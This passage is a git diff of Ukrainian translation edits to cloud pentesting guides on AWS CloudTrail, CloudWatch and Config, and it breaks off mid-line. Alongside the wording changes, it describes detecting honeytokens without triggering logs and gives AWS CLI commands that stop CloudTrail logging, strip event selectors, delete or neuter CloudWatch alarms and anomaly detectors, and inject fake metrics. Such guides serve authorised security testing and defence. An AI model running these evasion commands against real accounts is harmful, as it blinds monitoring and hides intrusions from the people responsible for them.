@@ -67,45 +67,45 @@ CloudTrail дозволяє використовувати **цілісніст ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logs to CloudWatch +### Логи до CloudWatch -**CloudTrail може автоматично надсилати журнали до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджають вас про підозрілі дії.**\ -Зверніть увагу, що для того, щоб CloudTrail міг надсилати журнали до CloudWatch, потрібно створити **роль**, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати стандартну роль AWS для виконання цих дій. Ця роль дозволить CloudTrail: +**CloudTrail може автоматично надсилати логи до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджають вас про підозрілі дії.**\ +Зверніть увагу, що для того, щоб CloudTrail міг надсилати логи до CloudWatch, потрібно створити **роль**, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати роль за замовчуванням AWS для виконання цих дій. Ця роль дозволить CloudTrail: -- CreateLogStream: Це дозволяє створювати потоки журналів CloudWatch Logs -- PutLogEvents: Доставляти журнали CloudTrail до потоку журналів CloudWatch Logs +- CreateLogStream: Це дозволяє створювати потоки логів CloudWatch Logs +- PutLogEvents: Доставляти логи CloudTrail до потоку логів CloudWatch Logs -### Event History +### Історія подій -Історія подій CloudTrail дозволяє вам переглядати в таблиці журнали, які були зафіксовані: +Історія подій CloudTrail дозволяє вам переглядати в таблиці логи, які були зафіксовані: ![](<../../../../images/image (89).png>) -### Insights +### Інсайти -**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insights. Ці події роблять **знаходження та реагування на незвичайну активність API легшими** ніж будь-коли. +**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API активність легшими** ніж будь-коли. -Інсайти зберігаються в тому ж бакеті, що й журнали CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail у: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Security +### Безпека -| Цілісність файлів журналів CloudTrail |
  • Перевірити, чи журнали були підроблені (змінені або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ належить Amazon
  • Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
| -| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Зупинити несанкціонований доступ |
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування журналів
| -| Запобігти видаленню файлів журналів |
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати S3 MFA видалення
  • Перевірити за допомогою валідації файлів журналів
| +| Цілісність файлів логів CloudTrail |
  • Перевірити, чи логи були підроблені (змінені або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ, що належить Amazon
  • Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
| +| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| Зупинити несанкціонований доступ |
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування логів
| +| Запобігти видаленню файлів логів |
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати видалення S3 MFA
  • Перевірити за допомогою валідації файлів логів
| -## Access Advisor +## Консультант доступу -AWS Access Advisor спирається на останні 400 днів журналів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Access Advisor використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи журнали CloudTrail, Access Advisor може визначити, які сервіси AWS використовував користувач або роль IAM і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання. +AWS Access Advisor покладається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант доступу може визначити, які сервіси AWS використовував IAM користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання. > [!TIP] -> Отже, Access Advisor інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити +> Отже, Консультант доступу інформує про **необхідні дозволи, що надаються користувачам**, щоб адміністратор міг їх видалити
-## Actions +## Дії -### Enumeration +### Перерахування ```bash # Get trails info aws cloudtrail list-trails @@ -148,15 +148,15 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection ### HoneyTokens **обхід** -Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ. +Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких моніториться**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ. -Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**. +Однак, Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**. [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- Якщо **`canarytokens.org`** з'являється в назві ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку. -- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в назві. -- Якщо **`SpaceCrab`** з'являється в назві ролі в повідомленні про помилку +- Якщо **`canarytokens.org`** з'являється в імені ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку. +- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в імені. +- Якщо **`SpaceCrab`** з'являється в імені ролі в повідомленні про помилку - **SpaceSiren** використовує **uuids** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - Якщо **ім'я виглядає як випадково згенероване**, є високі ймовірності, що це HoneyToken. @@ -181,32 +181,32 @@ return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` -Check more information in the [**оригінальному дослідженні**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +Перевірте більше інформації в [**оригінальному дослідженні**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). #### Не генерувати журнал -Найефективніша техніка для цього насправді проста. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі зловмисника. Це змусить **CloudTrail згенерувати журнал у ВАШОМУ ВЛАСНОМУ AWS обліковому записі, а не у жертви**. +Найефективніша техніка для цього насправді є простою. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі зловмисника. Це змусить **CloudTrail згенерувати журнал у ВАШОМУ ВЛАСНОМУ обліковому записі AWS, а не у жертви**. -Справа в тому, що вивід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**. +Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**. -#### AWS служби без журналів +#### Служби AWS без журналів -У минулому існували деякі **AWS служби, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідають** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ. +У минулому існували деякі **служби AWS, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ. -Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікових записів компаній HoneyToken та їхні імена, тому таким чином зловмисник може визначити, чи є токен HoneyToken. +Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатори облікових записів компаній HoneyToken та їхні імена, тому таким чином зловмисник може визначити, чи є токен HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] > Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють журнали CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні... > -> Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Для отримання додаткової інформації перевірте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Доступ до третьої інфраструктури -Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **Kubernetes** кластери (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме AWS API**, тому CloudTrail не зможе побачити цю комунікацію. +Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **кластери Kubernetes** (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію. -Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і **спілкуватися з API службою без виявлення Cloudtrail**. +Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально та **спілкуватися з API-сервісом без виявлення Cloudtrail**. Більше інформації в: @@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name] ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` -#### Вимкнення журналювання за вибором подій +#### Вимкнення журналювання за допомогою селекторів подій ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -У першому прикладі один селектор подій надається у вигляді масиву JSON з одним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти запис** події, наприклад). +У першому прикладі надано один селектор подій у вигляді масиву JSON з одним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад). Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог. @@ -249,7 +249,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration - Видалити S3 бакет - Змінити політику бакету, щоб заборонити будь-які записи з сервісу CloudTrail - Додати політику життєвого циклу до S3 бакету для видалення об'єктів -- Вимкнути ключ kms, що використовується для шифрування журналів CloudTrail +- Вимкнути ключ kms, який використовується для шифрування журналів CloudTrail ### Ransomware Cloudtrail @@ -264,7 +264,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration **KMS ransomware** -Це найпростіший спосіб виконати попередню атаку з іншими вимогами до дозволів: +Це найпростіший спосіб виконати попередню атаку з різними вимогами до дозволів: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0549a38cb..81e3f3476 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -6,7 +6,7 @@ **CloudWatch** **збирає** моніторингові та операційні **дані** у формі журналів/метрик/подій, надаючи **уніфікований огляд ресурсів AWS**, додатків та сервісів.\ Подія журналу CloudWatch має **обмеження розміру 256KB на кожен рядок журналу**.\ -Він може встановлювати **сигнали високої роздільної здатності**, візуалізувати **журнали** та **метрики** поруч, виконувати автоматизовані дії, усувати проблеми та виявляти інсайти для оптимізації додатків. +Він може встановлювати **алерти з високою роздільною здатністю**, візуалізувати **журнали** та **метрики** поруч, виконувати автоматизовані дії, усувати проблеми та виявляти інсайти для оптимізації додатків. Ви можете моніторити, наприклад, журнали з CloudTrail. Події, які моніторяться: @@ -51,13 +51,13 @@ ## Функції CloudWatch -### Панель +### Панель приладів -**Панелі CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних та моніторингу ресурсів в одному перегляді, поєднуючи різні метрики з різних сервісів AWS. +**Панелі приладів CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS. **Ключові функції**: -- **Віджети**: Будівельні блоки панелей, включаючи графіки, текст, сигнали та інше. +- **Віджети**: Будівельні блоки панелей, включаючи графіки, текст, алерти та інше. - **Налаштування**: Макет і вміст можуть бути налаштовані відповідно до конкретних потреб моніторингу. **Приклад використання**: @@ -72,19 +72,19 @@ **Приклад використання**: -- Надсилання реальних метрик до служби моніторингу третьої сторони для розширеного аналізу. +- Надсилання метрик в реальному часі до служби моніторингу третьої сторони для розширеного аналізу. - Архівування метрик у кошику Amazon S3 для довгострокового зберігання та відповідності. -### Сигнал +### Алерт -**Сигнали CloudWatch** моніторять ваші метрики та виконують дії на основі попередньо визначених порогів. Коли метрика перевищує поріг, сигнал може виконати одну або кілька дій, таких як надсилання сповіщень через SNS, активація політики автоматичного масштабування або виконання функції AWS Lambda. +**Алерти CloudWatch** моніторять ваші метрики та виконують дії на основі попередньо визначених порогів. Коли метрика перевищує поріг, алерт може виконати одну або кілька дій, таких як надсилання сповіщень через SNS, активація політики автоматичного масштабування або виконання функції AWS Lambda. **Ключові компоненти**: -- **Поріг**: Значення, при якому сигнал спрацьовує. +- **Поріг**: Значення, при якому спрацьовує алерт. - **Періоди оцінки**: Кількість періодів, протягом яких дані оцінюються. -- **Точки даних для сигналу**: Кількість періодів з досягнутим порогом, необхідна для активації сигналу. -- **Дії**: Що відбувається, коли спрацьовує стан сигналу (наприклад, сповіщення через SNS). +- **Точки даних для алерту**: Кількість періодів з досягнутим порогом, необхідна для спрацьовування алерту. +- **Дії**: Що відбувається, коли спрацьовує стан алерту (наприклад, сповіщення через SNS). **Приклад використання**: @@ -111,7 +111,7 @@ **Приклад використання**: -- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та дисковий ввід/вивід. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення. +- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може спровокувати сповіщення або автоматизовану дію з пом'якшення. ### Журнали CloudWatch @@ -119,14 +119,14 @@ **Елементи**: -| **Група журналів** | **Колекція потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу | +| **Група журналів** | **Збірка потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Потік журналу** | Послідовність **журнальних подій**, які мають **одне джерело** | +| **Потік журналів** | Послідовність **журнальних подій**, які мають **одне джерело** | | **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda | ### Моніторинг та події CloudWatch -CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** робить це **кожну 1 хвилину**). Після агрегації він **перевіряє пороги сигналів** на випадок, якщо потрібно активувати один.\ +CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів** на випадок, якщо потрібно спровокувати один.\ У цьому випадку CloudWatch може бути готовий надіслати подію та виконати деякі автоматичні дії (функції AWS lambda, теми SNS, черги SQS, потоки Kinesis) ### Встановлення агента @@ -212,11 +212,11 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` -## Post-Exploitation / Bypass +## Пост-експлуатація / Обхід ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Зловмисник з цими правами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які інформують адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або операційні збої. Крім того, створюючи або модифікуючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або замовчувати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти. +Зловмисник з цими правами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або операційні збої. Крім того, створюючи або змінюючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти. Крім того, з правом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл або петлю складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити. ```bash @@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -Наступний приклад показує, як зробити метричний сигнал неефективним: +Наступний приклад показує, як зробити метрику тривоги неефективною: -- Цей метричний сигнал контролює середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, сигнал спрацює і надішле сповіщення на вказану тему SNS. -- Змінивши Поріг на більше ніж 99%, встановивши Період на 10 секунд, Періоди Оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнює 1 дню), і Точки Даних для Сигналу на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацював сигнал. +- Ця метрика тривоги моніторить середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, тривога спрацює і надішле сповіщення на вказану тему SNS. +- Змінивши поріг на більше ніж 99%, встановивши період на 10 секунд, періоди оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнює 1 дню), і точки даних для тривоги на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацювала тривога. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` {{#endtab }} -{{#tab name="Змінений сигнал метрики" }} +{{#tab name="Модифікований сигнал тривоги" }} ```json { "Namespace": "AWS/EC2", @@ -285,7 +285,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або запуск автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти. -Крім того, зловмисник з відповідними правами може маніпулювати станами тривоги, маючи можливість створювати хибні тривоги, щоб відволікти і заплутати адміністраторів, або приглушити справжні тривоги, щоб приховати триваючі шкідливі дії або критичні збої системи. +Крім того, зловмисник з відповідними правами може маніпулювати станами тривоги, маючи можливість створювати хибні тривоги, щоб відволікати і плутати адміністраторів, або приглушувати справжні тривоги, щоб приховати триваючі шкідливі дії або критичні збої системи. - Якщо ви використовуєте **`SetAlarmState`** на складній тривозі, складна тривога не гарантує повернення до свого фактичного стану. Вона повертається до свого фактичного стану лише після зміни стану будь-якої з її дочірніх тривог. Вона також переоцінюється, якщо ви оновлюєте її конфігурацію. ```bash @@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує і не сповіщає про жодні відповідні дані протягом цього періоду. +Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про будь-які релевантні дані протягом цього періоду. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -351,11 +351,11 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних відповідей з боку команди операцій. +Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -379,7 +379,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримок у реагуванні на реальні проблеми та непотрібних дій на основі хибних сповіщень. +**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримки у відповідях на реальні проблеми та непотрібних дій на основі хибних сповіщень. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** @@ -399,7 +399,7 @@ aws cloudwatch put-metric-data --namespace [--metric-data ] [--me ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**Потенційний вплив**: Порушення потоку даних моніторингу, що впливає на виявлення аномалій та інцидентів, маніпуляцію ресурсами та збільшення витрат через створення надмірних потоків метрик. +**Потенційний вплив**: Порушення потоку моніторингових даних, що впливає на виявлення аномалій та інцидентів, маніпуляцію ресурсами та збільшення витрат через створення надмірних потоків метрик. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** @@ -417,7 +417,7 @@ aws cloudwatch start-metric-streams --names aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Потенційний вплив**: Порушення політик контролю доступу на основі тегів. +**Потенційний вплив**: Порушення політик доступу на основі тегів. ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 42bbdf158..691ed6c64 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -6,12 +6,12 @@ AWS Config **фіксує зміни ресурсів**, тому будь-яка зміна ресурсу, підтримуваного Config, може бути зафіксована, що **записує, що змінилося разом з іншою корисною метаданими, все зберігається у файлі, відомому як елемент конфігурації**, CI. Ця служба є **специфічною для регіону**. -Елемент конфігурації або **CI**, як його називають, є ключовим компонентом AWS Config. Він складається з файлу JSON, який **містить інформацію про конфігурацію, інформацію про зв'язки та інші метадані у вигляді моментального знімка підтримуваного ресурсу**. Вся інформація, яку AWS Config може зафіксувати для ресурсу, зберігається в CI. CI створюється **кожного разу**, коли підтримуваному ресурсу вносять зміни в його конфігурацію будь-яким чином. На додаток до запису деталей постраждалого ресурсу, AWS Config також буде записувати CI для будь-яких безпосередньо пов'язаних ресурсів, щоб забезпечити, що зміна не вплинула і на ці ресурси. +Елемент конфігурації або **CI**, як його називають, є ключовим компонентом AWS Config. Він складається з файлу JSON, який **містить інформацію про конфігурацію, інформацію про зв'язки та інші метадані у вигляді моментального знімка підтримуваного ресурсу**. Вся інформація, яку AWS Config може зафіксувати для ресурсу, захоплюється в CI. CI створюється **кожного разу**, коли підтримуваному ресурсу вносять зміни в його конфігурацію будь-яким чином. На додаток до запису деталей постраждалого ресурсу, AWS Config також буде записувати CI для будь-яких безпосередньо пов'язаних ресурсів, щоб забезпечити, що зміна не вплинула і на ці ресурси. - **Метадані**: Містить деталі про сам елемент конфігурації. Ідентифікатор версії та ідентифікатор конфігурації, які унікально ідентифікують CI. Інша інформація може включати MD5Hash, який дозволяє порівнювати інші CI, вже зафіксовані для того ж ресурсу. -- **Атрибути**: Це містить загальну **інформацію про атрибути щодо фактичного ресурсу**. У цьому розділі також є унікальний ідентифікатор ресурсу та будь-які ключові значення тегів, які пов'язані з ресурсом. Тип ресурсу також вказується. Наприклад, якщо це був CI для EC2 екземпляра, типи ресурсів, які вказані, можуть бути мережева інтерфейс або еластична IP-адреса для цього EC2 екземпляра. -- 